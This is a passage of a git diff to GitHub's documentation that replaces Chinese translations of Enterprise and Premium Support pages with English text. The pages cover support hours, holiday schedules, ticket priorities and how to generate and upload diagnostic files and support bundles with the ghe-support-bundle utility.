data variables.contact.premium_support %} for {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise-server)." {% endif %} {% data reusables.support.scope-of-support %} -## 联系 {% data variables.contact.enterprise_support %} +## Contacting {% data variables.contact.enterprise_support %} {% ifversion ghes %} {% data reusables.support.zendesk-old-tickets %} {% endif %} -您可以通过 {% ifversion ghes %}{% data variables.contact.contact_enterprise_portal %}{% elsif ghae %} {% data variables.contact.ae_azure_portal %}{% endif %} 联系 {% data variables.contact.enterprise_support %}，以书面报告问题。 更多信息请参阅“[从 {% data variables.contact.github_support %} 获取帮助](/admin/enterprise-support/receiving-help-from-github-support)”。 +You can contact {% data variables.contact.enterprise_support %} through {% ifversion ghes %}{% data variables.contact.contact_enterprise_portal %}{% elsif ghae %} the {% data variables.contact.ae_azure_portal %}{% endif %} to report issues in writing. For more information, see "[Receiving help from {% data variables.contact.github_support %}](/admin/enterprise-support/receiving-help-from-github-support)." {% ifversion ghes %} -## 运行时间 +## Hours of operation -### 英语支持 +### Support in English -对于标准的非紧急问题，我们提供每天 24 小时、每周 5 天的英语支持，不包括周末和美国国家法定节假日。                     GitHub 每天二十四 (24) 小时、每周五 (5) 天（不包括周末和美国全国性假日）对软件提供标准技术支持，不收取额外费用。 标准响应时间为 24 小时。 +For standard non-urgent issues, we offer support in English 24 hours per day, 5 days per week, excluding weekends and national U.S. holidays. The standard response time is 24 hours. -对于紧急问题，我们每周 7 天、每天 24 小时提供服务，即使在美国法定节假日也不例外。 GitHub 每天二十四 (24) 小时、每周五 (5) 天（不包括周末和美国全国性假日）对软件提供标准技术支持，不收取额外费用。 +For urgent issues, we are available 24 hours per day, 7 days per week, even during national U.S. holidays. -### 日语支持 +### Support in Japanese -对于非紧急问题，日语支持的服务时间为周一至周五上午 9:00 至下午 5:00（日本标准时间），不包括日本的法定节假日。 对于紧急问题，我们每周 7 天、每天 24 小时提供英语支持，即使在美国法定节假日也不例外。 GitHub 每天二十四 (24) 小时、每周五 (5) 天（不包括周末和美国全国性假日）对软件提供标准技术支持，不收取额外费用。 +For non-urgent issues, support in Japanese is available Monday through Friday from 9:00 AM to 5:00 PM JST, excluding national holidays in Japan. For urgent issues, we offer support in English 24 hours per day, 7 days per week, even during national U.S. holidays. -有关 有关 {% data variables.contact.enterprise_support %} 遵守的美国和日本法定节假日的完整列表，请参阅“[节假日安排](#holiday-schedules)”。 +For a complete list of U.S. and Japanese national holidays observed by {% data variables.contact.enterprise_support %}, see "[Holiday schedules](#holiday-schedules)." -## 节假日安排 +## Holiday schedules -对于紧急问题，我们全天候为您提供英语帮助，包括美国 和日本的节假日。 +For urgent issues, we can help you in English 24 hours per day, 7 days per week, including on U.S. and Japanese holidays. -### 美国的节假日 +### Holidays in the United States -{% data variables.contact.enterprise_support %} observes these U.S. holidays. {{ site.data.variables.contact.enterprise_support }} 会庆祝这些美国节假日，但我们的全球支持团队可以回答紧急事件单。 +{% data variables.contact.enterprise_support %} observes these U.S. holidays, although our global support team is available to answer urgent tickets. {% data reusables.enterprise_enterprise_support.support-holiday-availability %} -### 日本节假日 +### Holidays in Japan -{% data variables.contact.enterprise_support %} 在 12 月 28 日至 1 月 3 日以及 [国民の祝日について - 内閣府](https://www8.cao.go.jp/chosei/shukujitsu/gaiyou.html)中所列的节假日不提供日语支持。 +{% data variables.contact.enterprise_support %} does not provide Japanese-language support on December 28th through January 3rd as well as on the holidays listed in [国民の祝日について - 内閣府](https://www8.cao.go.jp/chosei/shukujitsu/gaiyou.html). {% data reusables.enterprise_enterprise_support.installing-releases %} {% endif %} -## 为支持事件单分配优先级 +## Assigning a priority to a support ticket -联系 {% data variables.contact.enterprise_support %} 时，可为事件单选择以下四种优先级之一：{% data variables.product.support_ticket_priority_urgent %}、{% data variables.product.support_ticket_priority_high %}、{% data variables.product.support_ticket_priority_normal %} 或 {% data variables.product.support_ticket_priority_low %}。 +When you contact {% data variables.contact.enterprise_support %}, you can choose one of four priorities for the ticket: {% data variables.product.support_ticket_priority_urgent %}, {% data variables.product.support_ticket_priority_high %}, {% data variables.product.support_ticket_priority_normal %}, or {% data variables.product.support_ticket_priority_low %}. {% data reusables.support.github-can-modify-ticket-priority %} @@ -98,14 +97,14 @@ shortTitle: GitHub Enterprise 支持 {% data reusables.support.ghae-priorities %} {% endif %} -## 解决和关闭支持事件单 +## Resolving and closing support tickets {% data reusables.support.enterprise-resolving-and-closing-tickets %} -## 延伸阅读 +## Further reading {% ifversion ghes %} -- 关于“[{% data variables.product.prodname_ghe_server %} 许可协议](https://enterprise.github.com/license)”中支持的第 10 节{% endif %} -- "[从 {% data variables.contact.github_support %} 获取帮助](/admin/enterprise-support/receiving-help-from-github-support)"{% ifversion ghes %} -- “[准备提交事件单](/enterprise/admin/guides/enterprise-support/preparing-to-submit-a-ticket)”{% endif %} -- “[提交事件单](/enterprise/admin/guides/enterprise-support/submitting-a-ticket)” +- Section 10 on Support in the "[{% data variables.product.prodname_ghe_server %} License Agreement](https://enterprise.github.com/license)"{% endif %} +- "[Receiving help from {% data variables.contact.github_support %}](/admin/enterprise-support/receiving-help-from-github-support)"{% ifversion ghes %} +- "[Preparing to submit a ticket](/enterprise/admin/guides/enterprise-support/preparing-to-submit-a-ticket)"{% endif %} +- "[Submitting a ticket](/enterprise/admin/guides/enterprise-support/submitting-a-ticket)" diff --git a/translations/zh-CN/content/admin/enterprise-support/overview/about-github-premium-support-for-github-enterprise-server.md b/translations/zh-CN/content/admin/enterprise-support/overview/about-github-premium-support-for-github-enterprise-server.md index 0d395e0254..c26d306359 100644 --- a/translations/zh-CN/content/admin/enterprise-support/overview/about-github-premium-support-for-github-enterprise-server.md +++ b/translations/zh-CN/content/admin/enterprise-support/overview/about-github-premium-support-for-github-enterprise-server.md @@ -1,6 +1,6 @@ --- -title: 关于 GitHub Enterprise Server 的 GitHub 高级支持 -intro: '{% data variables.contact.premium_support %} 是向 {% data variables.product.prodname_enterprise %} 客户提供的一种付费、补充服务。' +title: About GitHub Premium Support for GitHub Enterprise Server +intro: '{% data variables.contact.premium_support %} is a paid, supplemental support offering for {% data variables.product.prodname_enterprise %} customers.' redirect_from: - /enterprise/admin/guides/enterprise-support/about-premium-support-for-github-enterprise/ - /enterprise/admin/guides/enterprise-support/about-premium-support/ @@ -12,30 +12,29 @@ type: overview topics: - Enterprise - Support -shortTitle: GHES 高级支持 +shortTitle: Premium Support for GHES --- - {% note %} -**注意：** +**Notes:** -- {% data variables.contact.premium_support %} 的条款自 2018 年 9 月开始生效，如有变动，恕不另行通知。 如果您在 2018 年 9 月 17 日之前购买了 {% data variables.contact.premium_support %}，则您的计划可能会有所不同。 如需了解更多详情，请联系 {% data variables.contact.premium_support %}。 +- The terms of {% data variables.contact.premium_support %} are subject to change without notice and are effective as of September 2018. If you purchased {% data variables.contact.premium_support %} prior to September 17, 2018, your plan might be different. Contact {% data variables.contact.premium_support %} for more details. - {% data reusables.support.data-protection-and-privacy %} -- 本文包含 {% data variables.contact.premium_support %} 对于 {% data variables.product.prodname_ghe_server %} 客户的条款。 对于于 {% data variables.product.prodname_ghe_cloud %} 客户或一起购买 {% data variables.product.prodname_ghe_server %} 和 {% data variables.product.prodname_ghe_cloud %} 的 {% data variables.product.prodname_enterprise %} 客户，这些条款可能不同。 更多信息请参阅“关于 {% data variables.product.prodname_ghe_cloud %} 的 {% data variables.contact.premium_support %}”和“[关于 {% data variables.product.prodname_enterprise %} 的 {% data variables.contact.premium_support %}](/enterprise/{{ currentVersion }}/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise)”。 +- This article contains the terms of {% data variables.contact.premium_support %} for {% data variables.product.prodname_ghe_server %} customers. The terms may be different for customers of {% data variables.product.prodname_ghe_cloud %} or {% data variables.product.prodname_enterprise %} customers who purchase {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %} together. For more information, see "About {% data variables.contact.premium_support %} for {% data variables.product.prodname_ghe_cloud %}" and "[About {% data variables.contact.premium_support %} for {% data variables.product.prodname_enterprise %}](/enterprise/{{ currentVersion }}/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise)." {% endnote %} -## 关于 {% data variables.contact.premium_support %} +## About {% data variables.contact.premium_support %} -除了 {% data variables.contact.enterprise_support %} 的所有好处外，{% data variables.contact.premium_support %} 还提供： - - 我们的支持门户全天候提供英语书面支持 - - 全天候英语电话支持 - - 保证初始响应时间的服务等级协议 (SLA) - - 高级内容访问权限 - - 按时健康状态检查 - - 管理的服务 +In addition to all of the benefits of {% data variables.contact.enterprise_support %}, {% data variables.contact.premium_support %} offers: + - Written support, in English, through our support portal 24 hours per day, 7 days per week + - Phone support, in English, 24 hours per day, 7 days per week + - A Service Level Agreement (SLA) with guaranteed initial response times + - Access to premium content + - Scheduled health checks + - Managed services {% data reusables.support.about-premium-plans %} @@ -45,25 +44,25 @@ shortTitle: GHES 高级支持 {% data reusables.support.contacting-premium-support %} -## 运行时间 +## Hours of operation -{% data variables.contact.premium_support %} 全天候提供。 如果您在 2018 年 9 月 17 日之前购买了 {% data variables.contact.premium_support %}，则节假日期间的支持有限。 有关 {% data variables.contact.premium_support %} 庆祝的节假日的更多信息，请参阅“[关于 {% data variables.contact.github_support %}](/enterprise/admin/guides/enterprise-support/about-github-enterprise-support)”中的节假日安排。 +{% data variables.contact.premium_support %} is available 24 hours a day, 7 days per week. If you purchased {% data variables.contact.premium_support %} prior to September 17, 2018, support is limited during holidays. For more information on holidays {% data variables.contact.premium_support %} observes, see the holiday schedule at "[About {% data variables.contact.github_support %}](/enterprise/admin/guides/enterprise-support/about-github-enterprise-support)." {% data reusables.support.service-level-agreement-response-times %} {% data reusables.enterprise_enterprise_support.installing-releases %} -您必须在下单购买 {% data variables.contact.premium_support %} 后的 90 天内，根据适用许可协议的受支持版本部分，安装 {% data variables.product.prodname_ghe_server %} 的最低支持版本。 +You must install the minimum supported version of {% data variables.product.prodname_ghe_server %} pursuant to the Supported Releases section of your applicable license agreement within 90 days of placing an order for {% data variables.contact.premium_support %}. -## 为支持事件单分配优先级 +## Assigning a priority to a support ticket -联系 {% data variables.contact.premium_support %} 时，可为事件单选择以下四种优先级之一：{% data variables.product.support_ticket_priority_urgent %}、{% data variables.product.support_ticket_priority_high %}、{% data variables.product.support_ticket_priority_normal %} 或 {% data variables.product.support_ticket_priority_low %}。 +When you contact {% data variables.contact.premium_support %}, you can choose one of four priorities for the ticket: {% data variables.product.support_ticket_priority_urgent %}, {% data variables.product.support_ticket_priority_high %}, {% data variables.product.support_ticket_priority_normal %}, or {% data variables.product.support_ticket_priority_low %}. {% data reusables.support.github-can-modify-ticket-priority %} {% data reusables.support.ghes-priorities %} -## 解决和关闭支持事件单 +## Resolving and closing support tickets {% data reusables.support.premium-resolving-and-closing-tickets %} diff --git a/translations/zh-CN/content/admin/enterprise-support/overview/about-github-premium-support-for-github-enterprise.md b/translations/zh-CN/content/admin/enterprise-support/overview/about-github-premium-support-for-github-enterprise.md index ae283b3e0e..dee230eb2b 100644 --- a/translations/zh-CN/content/admin/enterprise-support/overview/about-github-premium-support-for-github-enterprise.md +++ b/translations/zh-CN/content/admin/enterprise-support/overview/about-github-premium-support-for-github-enterprise.md @@ -1,6 +1,6 @@ --- -title: 关于 GitHub Enterprise 的 GitHub 高级支持 -intro: '{% data variables.contact.premium_support %} 是向 {% data variables.product.prodname_enterprise %} 客户提供的一种付费、补充服务。' +title: About GitHub Premium Support for GitHub Enterprise +intro: '{% data variables.contact.premium_support %} is a paid, supplemental support offering for {% data variables.product.prodname_enterprise %} customers.' redirect_from: - /enterprise/admin/enterprise-support/about-github-premium-support-for-github-enterprise - /admin/enterprise-support/about-github-premium-support-for-github-enterprise @@ -10,30 +10,29 @@ type: overview topics: - Enterprise - Support -shortTitle: 企业高级支持 +shortTitle: Premium Support for Enterprise --- - {% note %} -**注意：** +**Notes:** -- {% data variables.contact.premium_support %} 的条款自 2019 年 7 月开始生效，如有变动，恕不另行通知。 +- The terms of {% data variables.contact.premium_support %} are subject to change without notice and are effective as of July 2019. - {% data reusables.support.data-protection-and-privacy %} -- 本文包含的 {% data variables.contact.premium_support %} 条款适用于同时购买了 {% data variables.product.prodname_ghe_server %} 和 {% data variables.product.prodname_ghe_cloud %} 的 {% data variables.product.prodname_enterprise %} 客户。 对于单独购买任一产品的客户，{% data variables.contact.premium_support %} 的条款可能有所不同。 更多信息请参阅“[关于 {% data variables.product.prodname_ghe_server %} 的 {% data variables.contact.premium_support %}](/enterprise/{{ currentVersion }}/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise-server)”和“关于 {% data variables.product.prodname_ghe_cloud %} 的 {% data variables.contact.premium_support %}”。 +- This article contains the terms of {% data variables.contact.premium_support %} for {% data variables.product.prodname_enterprise %} customers who purchase {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %} together. The terms of {% data variables.contact.premium_support %} may be different for customers who purchase either product separately. For more information, see "[About {% data variables.contact.premium_support %} for {% data variables.product.prodname_ghe_server %}](/enterprise/{{ currentVersion }}/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise-server)" and "About {% data variables.contact.premium_support %} for {% data variables.product.prodname_ghe_cloud %}." {% endnote %} -## 关于 {% data variables.contact.premium_support %} +## About {% data variables.contact.premium_support %} -除了 {% data variables.contact.enterprise_support %} 的所有好处外，{% data variables.contact.premium_support %} 还提供： - - 我们的支持门户全天候提供英语书面支持 - - 全天候英语电话支持 - - 保证初始响应时间的服务等级协议 (SLA) - - 高级内容访问权限 - - 按时健康状态检查 - - 管理的服务 +In addition to all of the benefits of {% data variables.contact.enterprise_support %}, {% data variables.contact.premium_support %} offers: + - Written support, in English, through our support portal 24 hours per day, 7 days per week + - Phone support, in English, 24 hours per day, 7 days per week + - A Service Level Agreement (SLA) with guaranteed initial response times + - Access to premium content + - Scheduled health checks + - Managed services {% data reusables.support.about-premium-plans %} @@ -43,32 +42,32 @@ shortTitle: 企业高级支持 {% data reusables.support.contacting-premium-support %} -## 运行时间 +## Hours of operation -{% data variables.contact.premium_support %} 全天候提供。 +{% data variables.contact.premium_support %} is available 24 hours a day, 7 days per week. {% data reusables.support.service-level-agreement-response-times %} {% data reusables.enterprise_enterprise_support.installing-releases %} -您必须在下单购买 {% data variables.contact.premium_support %} 后的 90 天内，根据适用许可协议的受支持版本部分，安装 {% data variables.product.prodname_ghe_server %} 的最低支持版本。 +You must install the minimum supported version of {% data variables.product.prodname_ghe_server %} pursuant to the Supported Releases section of your applicable license agreement within 90 days of placing an order for {% data variables.contact.premium_support %}. -## 为支持事件单分配优先级 +## Assigning a priority to a support ticket -联系 {% data variables.contact.premium_support %} 时，可为事件单选择以下四种优先级之一：{% data variables.product.support_ticket_priority_urgent %}、{% data variables.product.support_ticket_priority_high %}、{% data variables.product.support_ticket_priority_normal %} 或 {% data variables.product.support_ticket_priority_low %}。 +When you contact {% data variables.contact.premium_support %}, you can choose one of four priorities for the ticket: {% data variables.product.support_ticket_priority_urgent %}, {% data variables.product.support_ticket_priority_high %}, {% data variables.product.support_ticket_priority_normal %}, or {% data variables.product.support_ticket_priority_low %}. -- [{% data variables.product.prodname_ghe_cloud %} 的事件单优先级](#ticket-priorities-for-github-enterprise-cloud) -- [{% data variables.product.prodname_ghe_server %} 的事件单优先级](#ticket-priorities-for-github-enterprise-server) +- [Ticket priorities for {% data variables.product.prodname_ghe_cloud %}](#ticket-priorities-for-github-enterprise-cloud) +- [Ticket priorities for {% data variables.product.prodname_ghe_server %}](#ticket-priorities-for-github-enterprise-server) -### {% data variables.product.prodname_ghe_cloud %} 的事件单优先级 +### Ticket priorities for {% data variables.product.prodname_ghe_cloud %} {% data reusables.support.ghec-premium-priorities %} -### {% data variables.product.prodname_ghe_server %} 的事件单优先级 +### Ticket priorities for {% data variables.product.prodname_ghe_server %} {% data reusables.support.ghes-priorities %} -## 解决和关闭支持事件单 +## Resolving and closing support tickets {% data reusables.support.premium-resolving-and-closing-tickets %} diff --git a/translations/zh-CN/content/admin/enterprise-support/receiving-help-from-github-support/providing-data-to-github-support.md b/translations/zh-CN/content/admin/enterprise-support/receiving-help-from-github-support/providing-data-to-github-support.md index 2baa6ff3e0..2e6d49cb05 100644 --- a/translations/zh-CN/content/admin/enterprise-support/receiving-help-from-github-support/providing-data-to-github-support.md +++ b/translations/zh-CN/content/admin/enterprise-support/receiving-help-from-github-support/providing-data-to-github-support.md @@ -1,6 +1,6 @@ --- -title: 将数据提供给 GitHub Support -intro: '由于 {% data variables.contact.github_support %} 无法访问您的环境，因此我们需要您提供一些附加信息。' +title: Providing data to GitHub Support +intro: 'Since {% data variables.contact.github_support %} doesn''t have access to your environment, we require some additional information from you.' redirect_from: - /enterprise/admin/guides/installation/troubleshooting/ - /enterprise/admin/articles/support-bundles/ @@ -13,145 +13,148 @@ type: how_to topics: - Enterprise - Support -shortTitle: 向支持人员提供数据 +shortTitle: Provide data to Support --- +## Creating and sharing diagnostic files -## 创建和共享诊断文件 +Diagnostics are an overview of a {% data variables.product.prodname_ghe_server %} instance's settings and environment that contains: -诊断是 {% data variables.product.prodname_ghe_server %} 实例的设置和环境的概览，其中包含： +- Client license information, including company name, expiration date, and number of user licenses +- Version numbers and SHAs +- VM architecture +- Host name, private mode, SSL settings +- Load and process listings +- Network settings +- Authentication method and details +- Number of repositories, users, and other installation data -- 客户端许可信息，包括公司名称、到期日期和用户许可数量 -- 版本号和 SHA -- VM 架构 -- 主机名、私有模式、SSL 设置 -- 加载和处理列表 -- 网络设置 -- 身份验证方法和详情 -- 仓库、用户和其他安装数据的数量 +You can download the diagnostics for your instance from the {% data variables.enterprise.management_console %} or by running the `ghe-diagnostics` command-line utility. -您可以从 {% data variables.enterprise.management_console %} 或通过运行 `ghe-diagnostics` 命令行实用程序下载实例的诊断。 +### Creating a diagnostic file from the {% data variables.enterprise.management_console %} -### 从 {% data variables.enterprise.management_console %} 创建诊断文件 - -如果您没有随时可用的 SSH 密钥，则可以使用此方法。 +You can use this method if you don't have your SSH key readily available. {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.type-management-console-password %} {% data reusables.enterprise_management_console.support-link %} -5. 单击 **Download diagnostics info**。 +5. Click **Download diagnostics info**. -### 使用 SSH 创建诊断文件 +### Creating a diagnostic file using SSH -您无需登录 {% data variables.enterprise.management_console %} 即可使用此方法。 +You can use this method without signing into the {% data variables.enterprise.management_console %}. -使用 [ghe-diagnostics](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-diagnostics) 命令行实用程序检索实例的诊断。 +Use the [ghe-diagnostics](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-diagnostics) command-line utility to retrieve the diagnostics for your instance. ```shell $ ssh -p122 admin@hostname -- 'ghe-diagnostics' > diagnostics.txt ``` -## 创建和共享支持包 +## Creating and sharing support bundles -您提交支持请求后，我们可能会要求您与我们团队共享支持包。 支持包是一个 gzip 压缩的 tar 存档，其中包含来自您的实例的诊断和重要日志，例如： +After you submit your support request, we may ask you to share a support bundle with our team. The support bundle is a gzip-compressed tar archive that includes diagnostics and important logs from your instance, such as: -- 在对身份验证错误进行故障排查或者配置 LDAP、CAS 或 SAML 时，与身份验证相关的日志可能会十分有用 -- {% data variables.enterprise.management_console %} 日志 -- `github-logs/exceptions.log`：关于站点上遇到的 500 个错误的信息 -- `github-logs/audit.log`：{% data variables.product.prodname_ghe_server %} 审核日志 -- `babeld-logs/babeld.log`：Git 代理日志 -- `system-logs/haproxy.log`：HAProxy 日志 -- `elasticsearch-logs/github-enterprise.log`：Elasticsearch 日志 -- `configuration-logs/ghe-config.log`：{% data variables.product.prodname_ghe_server %} 配置日志 -- `collectd/logs/collectd.log`：Collectd 日志 -- `mail-logs/mail.log`：SMTP 电子邮件交付日志 +- Authentication-related logs that may be helpful when troubleshooting authentication errors, or configuring LDAP, CAS, or SAML +- {% data variables.enterprise.management_console %} log +- `github-logs/exceptions.log`: Information about 500 errors encountered on the site +- `github-logs/audit.log`: {% data variables.product.prodname_ghe_server %} audit logs +- `babeld-logs/babeld.log`: Git proxy logs +- `system-logs/haproxy.log`: HAProxy logs +- `elasticsearch-logs/github-enterprise.log`: Elasticsearch logs +- `configuration-logs/ghe-config.log`: {% data variables.product.prodname_ghe_server %} configuration logs +- `collectd/logs/collectd.log`: Collectd logs +- `mail-logs/mail.log`: SMTP email delivery logs -更多信息请参阅“[审核日志](/enterprise/{{ currentVersion }}/admin/guides/installation/audit-logging)”。 +For more information, see "[Audit logging](/enterprise/{{ currentVersion }}/admin/guides/installation/audit-logging)." -支持包包含过去两天的日志。 要获取过去七天的日志，您可以下载扩展支持包。 更多信息请参阅“[创建和共享扩展支持包](#creating-and-sharing-extended-support-bundles)”。 +Support bundles include logs from the past two days. To get logs from the past seven days, you can download an extended support bundle. For more information, see "[Creating and sharing extended support bundles](#creating-and-sharing-extended-support-bundles)." {% tip %} -**提示：**当您联系 {% data variables.contact.github_support %} 时，您将收到一封确认电子邮件，其中包含事件单参考链接。 如果 {% data variables.contact.github_support %} 要求您上传支持包，则可以使用事件单参考链接来上传支持包。 +**Tip:** When you contact {% data variables.contact.github_support %}, you'll be sent a confirmation email that will contain a ticket reference link. If {% data variables.contact.github_support %} asks you to upload a support bundle, you can use the ticket reference link to upload the support bundle. {% endtip %} -### 从 {% data variables.enterprise.management_console %} 创建支持包 +### Creating a support bundle from the {% data variables.enterprise.management_console %} -如果您可以访问基于 web 的 {% data variables.enterprise.management_console %} 并具有出站互联网访问权限，则可以使用下列步骤来创建和共享支持包。 +You can use these steps to create and share a support bundle if you can access the web-based {% data variables.enterprise.management_console %} and have outbound internet access. {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.type-management-console-password %} {% data reusables.enterprise_management_console.support-link %} -5. 单击 **Download support bundle**。 +5. Click **Download support bundle**. {% data reusables.enterprise_enterprise_support.sign-in-to-support %} {% data reusables.enterprise_enterprise_support.upload-support-bundle %} -### 使用 SSH 创建支持包 +### Creating a support bundle using SSH -如果您可以通过 SSH 访问 {% data variables.product.product_location %} 并且拥有出站互联网访问权限，则可以使用下列步骤来创建和共享支持包。 +You can use these steps to create and share a support bundle if you have SSH access to {% data variables.product.product_location %} and have outbound internet access. {% data reusables.enterprise_enterprise_support.use_ghe_cluster_support_bundle %} -1. 通过 SSH 下载支持包： +1. Download the support bundle via SSH: ```shell $ ssh -p 122 admin@hostname -- 'ghe-support-bundle -o' > support-bundle.tgz ``` - 有关 `ghe-support-bundle` 命令的更多信息，请参阅“[命令行实用程序](/enterprise/admin/guides/installation/command-line-utilities#ghe-support-bundle)”。 + For more information about the `ghe-support-bundle` command, see "[Command-line utilities](/enterprise/admin/guides/installation/command-line-utilities#ghe-support-bundle)". {% data reusables.enterprise_enterprise_support.sign-in-to-support %} {% data reusables.enterprise_enterprise_support.upload-support-bundle %} -### 使用您的企业帐户上传支持包 +### Uploading a support bundle using your enterprise account {% data reusables.enterprise-accounts.access-enterprise-on-dotcom %} {% data reusables.enterprise-accounts.settings-tab %} -3. 在左侧边栏中，单击 **Enterprise licensing（企业许可）**。 ![企业帐户设置侧边栏中的"Enterprise licensing（企业许可）"选项卡](/assets/images/help/enterprises/enterprise-licensing-tab.png) -4. 在“{% data variables.product.prodname_enterprise %} 帮助”下，单击 **Upload a support bundle（上传支持包）**。 ![上传支持包链接](/assets/images/enterprise/support/upload-support-bundle.png) -5. 在“Select an enterprise account（选择企业帐户）”下，从下拉菜单选择支持包的相关帐户。 ![选择支持包的企业帐户](/assets/images/enterprise/support/support-bundle-account.png) -6. 在“为 {% data variables.contact.enterprise_support %} 上传支持包”下，选择您的支持包，单击 **Choose file（选择文件）**，或将您的支持包文件拖到 **Choose file（选择文件）**上。 ![上传支持包文件](/assets/images/enterprise/support/choose-support-bundle-file.png) -7. 单击 **Upload（上传）**。 +3. In the left sidebar, click **Enterprise licensing**. + !["Enterprise licensing" tab in the enterprise account settings sidebar](/assets/images/help/enterprises/enterprise-licensing-tab.png) +4. Under "{% data variables.product.prodname_enterprise %} Help", click **Upload a support bundle**. + ![Upload a support bundle link](/assets/images/enterprise/support/upload-support-bundle.png) +5. Under "Select an enterprise account", select the support bundle's associated account from the drop-down menu. + ![Choose the support bundle's enterprise account](/assets/images/enterprise/support/support-bundle-account.png) +6. Under "Upload a support bundle for {% data variables.contact.enterprise_support %}", to select your support bundle, click **Choose file**, or drag your support bundle file onto **Choose file**. + ![Upload support bundle file](/assets/images/enterprise/support/choose-support-bundle-file.png) +7. Click **Upload**. -### 使用 SSH 直接上传支持包 +### Uploading a support bundle directly using SSH -在以下情况下您可以直接将支持包上传到我们的服务器： -- 您可以通过 SSH 访问 {% data variables.product.product_location %}。 -- 通过 TCP 端口 443 的出站 HTTPS 连接允许从 {% data variables.product.product_location %} 到 _enterprise-bundles.github.com_ 和 _esbtoolsproduction.blob.core.windows.net_。 +You can directly upload a support bundle to our server if: +- You have SSH access to {% data variables.product.product_location %}. +- Outbound HTTPS connections over TCP port 443 are allowed from {% data variables.product.product_location %} to _enterprise-bundles.github.com_ and _esbtoolsproduction.blob.core.windows.net_. -1. 将包上传到我们的支持包服务器： +1. Upload the bundle to our support bundle server: ```shell $ ssh -p122 admin@hostname -- 'ghe-support-bundle -u' ``` -## 创建和共享扩展支持包 +## Creating and sharing extended support bundles -支持包包括过去两天的日志，而_扩展_支持包包括过去七天的日志。 如果 {% data variables.contact.github_support %} 调查的事件发生在两天之前，我们可能会要求您分享扩展支持包。 需要 SSH 权限才能下载扩展包 - 不能从 {% data variables.enterprise.management_console %} 下载扩展包。 +Support bundles include logs from the past two days, while _extended_ support bundles include logs from the past seven days. If the events that {% data variables.contact.github_support %} is investigating occurred more than two days ago, we may ask you to share an extended support bundle. You will need SSH access to download an extended bundle - you cannot download an extended bundle from the {% data variables.enterprise.management_console %}. -为避免体积变得太大，支持包只包含尚未轮换和压缩的日志。 关于 {% data variables.product.prodname_ghe_server %} 上的日志轮换，可针对不同的日志文件设置不同的频率（每日或每周），具体取决于我们期望的日志大小。 +To prevent bundles from becoming too large, bundles only contain logs that haven't been rotated and compressed. Log rotation on {% data variables.product.prodname_ghe_server %} happens at various frequencies (daily or weekly) for different log files, depending on how large we expect the logs to be. -### 使用 SSH 创建扩展支持包 +### Creating an extended support bundle using SSH -如果您可以通过 SSH 访问 {% data variables.product.product_location %} 并有拥有出站互联网访问权限，则可以使用下列步骤来创建和共享扩展支持包。 +You can use these steps to create and share an extended support bundle if you have SSH access to {% data variables.product.product_location %} and you have outbound internet access. -1. 要通过 SSH 下载扩展支持包，可将 `-x` 标记添加到 `ghe-support-bundle` 命令中： +1. Download the extended support bundle via SSH by adding the `-x` flag to the `ghe-support-bundle` command: ```shell $ ssh -p 122 admin@hostname -- 'ghe-support-bundle -o -x' > support-bundle.tgz ``` {% data reusables.enterprise_enterprise_support.sign-in-to-support %} {% data reusables.enterprise_enterprise_support.upload-support-bundle %} -### 使用 SSH 直接上传扩展支持包 +### Uploading an extended support bundle directly using SSH -在以下情况下您可以直接将支持包上传到我们的服务器： -- 您可以通过 SSH 访问 {% data variables.product.product_location %}。 -- 通过 TCP 端口 443 的出站 HTTPS 连接允许从 {% data variables.product.product_location %} 到 _enterprise-bundles.github.com_ 和 _esbtoolsproduction.blob.core.windows.net_。 +You can directly upload a support bundle to our server if: +- You have SSH access to {% data variables.product.product_location %}. +- Outbound HTTPS connections over TCP port 443 are allowed from {% data variables.product.product_location %} to _enterprise-bundles.github.com_ and _esbtoolsproduction.blob.core.windows.net_. -1. 将包上传到我们的支持包服务器： +1. Upload the bundle to our support bundle server: ```shell $ ssh -p122 admin@hostname -- 'ghe-support-bundle -u -x' ``` -## 延伸阅读 +## Further reading -- “[关于 {% data variables.contact.enterprise_support %}](/enterprise/admin/guides/enterprise-support/about-github-enterprise-support)” -- “[关于 {% data variables.product.prodname_ghe_server %} 的 {% data variables.contact.premium_support %}](/enterprise/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise-server)”。 +- "[About {% data variables.contact.enterprise_support %}](/enterprise/admin/guides/enterprise-support/about-github-enterprise-support)" +- "[About {% data variables.contact.premium_support %} for {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise-server)." diff --git a/translations/zh-CN/content/admin/enterprise-support/receiving-help-from-github-support/reaching-github-support.md b/translations/zh-CN/content/admin/enterprise-support/receiving-help-from-github-support/reaching-github-support.md index 841d8dc77a..70b1836838 100644 --- a/translations/zh-CN/content/admin/enterprise-support/receiving-help-from-github-support/reaching-github-support.md +++ b/translations/zh-CN/content/admin/enterprise-support/receiving-help-from-github-support/reaching-github-support.md @@ -1,6 +1,6 @@ --- -title: 联系 GitHub Support -intro: '使用 {% ifversion ghes %}{% data variables.product.prodname_ghe_server %} {% data variables.enterprise.management_console %} 或{% endif %}支持门户联系 {% data variables.contact.enterprise_support %}。' +title: Reaching GitHub Support +intro: 'Contact {% data variables.contact.enterprise_support %} using the {% ifversion ghes %}{% data variables.product.prodname_ghe_server %} {% data variables.enterprise.management_console %} or{% endif %} the support portal.' redirect_from: - /enterprise/admin/guides/enterprise-support/reaching-github-enterprise-support/ - /enterprise/admin/enterprise-support/reaching-github-support @@ -12,48 +12,47 @@ topics: - Enterprise - Support --- +## Using automated ticketing systems -## 使用自动事件单系统 +Though we'll do our best to respond to automated support requests, we typically need more information than an automated ticketing system can give us to solve your issue. Whenever possible, please initiate support requests from a person or machine that {% data variables.contact.enterprise_support %} can interact with. For more information, see "[Preparing to submit 